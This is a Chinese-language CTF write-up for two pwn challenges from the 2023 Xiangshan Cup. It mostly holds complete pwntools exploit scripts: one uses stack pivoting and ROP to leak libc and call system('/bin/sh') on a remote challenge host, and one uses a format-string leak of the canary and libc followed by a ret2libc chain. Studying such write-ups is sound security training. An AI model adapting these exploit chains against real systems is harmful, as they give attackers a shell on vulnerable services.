0%

2023 香山杯pwn wp

move

栈迁移

1
2
3
4
payload = flat([
pop_rsi_r15, 0x405300, 0, elf.plt['read'], # target
pop_rsi_r15, 0x4050c0+0x40, 0, elf.plt['read'] # fix
])

用这个结构写一大段连续的内存即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "./libc6_2.27-3ubuntu1.6_amd64.so"
remote_ip = "59.110.125.41"
remote_port = "34381"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

bss_addr = 0x4050A0
ans = 0x12345678
leave = 0x4012E0

pop_rdi = 0x0000000000401353
pop_rsi_r15 = 0x0000000000401351
pop_rbp = 0x000000000040119d

elf = ELF("./pwn")

write = elf.plt['write']
payload = flat([
pop_rsi_r15,
bss_addr-0x8, 0, # read1 bss_addr - 0x8
elf.plt['read']
])

sa("lets travel again!", payload)

# bpp()
sa("Input your setp number", p32(ans))

payload = b'a'*(0x30)
payload += p64(bss_addr-0x8)
payload += p64(leave)

sa("TaiCooLa", payload)

read_again = 0x401230

payload = flat([
0, pop_rsi_r15, bss_addr-0x8+0x28, 0,
elf.plt['read'],
pop_rbp, bss_addr-0x8,
leave
])

# bpp()
s(payload)

main_addr = 0x4010D0

payload = flat([
pop_rsi_r15, 0x405300, 0, elf.plt['read'], # target
pop_rsi_r15, 0x4050c0+0x40, 0, elf.plt['read'] # fix
])

s(payload)

# target payload
payload = flat([
pop_rdi, 1,
pop_rsi_r15, elf.got['write'], 0,
elf.plt['write'], pop_rbp, 0x405300+0x40+0x8
])
s(payload)

# fix payload
payload = flat([
pop_rsi_r15, 0x405300+0x40, 0, elf.plt['read'], # target
pop_rbp, 0x405300-0x8, leave, 0
])

s(payload)

# target payload + 0x40
payload = flat([
pop_rsi_r15, 0x405300+0x40+0x30, 0, pop_rdi,
0, elf.plt['read'], 0, 0 # +0x60
])

# bpp()
s(payload)

leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - libc.sym['write']
log(hex(libc_base))

bin_addr = libc_base + 0x00000000001b3d88
system = libc_base + libc.sym['system']

# bpp()
pad = flat([
pop_rdi, bin_addr,
system, 0,
0, 0, 0, 0
])
sl(pad)

ia()

pwthon

比赛时没做出来 后面复盘出来的了解了不同的库之间的调用关系还得是调试了之后就知道怎么做了(当时一直在找magic gadget 找不到233)

调试方法

main.py里面加上sys.path.append来帮助python导入app这个库

1
2
sys.path.append("/home/hkbin/Desktop/CTF/competition/xiangshan/pwthon/app.cpython-37m-x86_64-linux-gnu.so")
import app

之后即可正常运行python main.py

调试可以通过gdb attach上去

pwntools里面这样调

1
p = process(['python', 'main.py'])

栈上有关IO的函数都与libc有关(也就是glibc那个

app.so只提供题目需要的函数

库与库之间的偏移是不定的,需要leak出libc的地址

而栈上可以泄露出libc的函数 比如open64等

还有read函数可以泄露出libc的版本(貌似就是ubuntu22.04

然后剩下的就是leak canary然后打libc的ROP了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import ctypes
context.terminal = ["tmux","splitw","-h"]

# context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "59.110.231.185"
remote_port = "33518"

p = process(['python', 'main.py'])
libc = ELF(libc_name)

mode = 0

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

sla(">", str(0))
ru("Give you a gift ")
gift = int(rl()[:-1], 16)
log(hex(gift))

log(hex(gift-0x68b0))
app_base = gift-0x68b0

canary_offset = 13
payload = b'%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
sl(payload)

datas = rl().decode().split("-")
log("canary: ")
log(datas[13])
log("open leak: ")
log(datas[-1])

canary = int(datas[13], 16)
leak_libc = int(datas[-1], 16)

libc_base = leak_libc - 232 - libc.sym['open']
log(hex(libc_base))

bin_addr = libc_base + 0x00000000001d8698
system = libc_base + libc.sym['system']
pop_rdi = app_base + 0x0000000000003f8f
ret_addr = app_base + 0x000000000000301a

payload = flat([
b'a'*0x108,
canary, 0,
pop_rdi, bin_addr,
ret_addr,
system
])
bpp()
s(payload)

ia()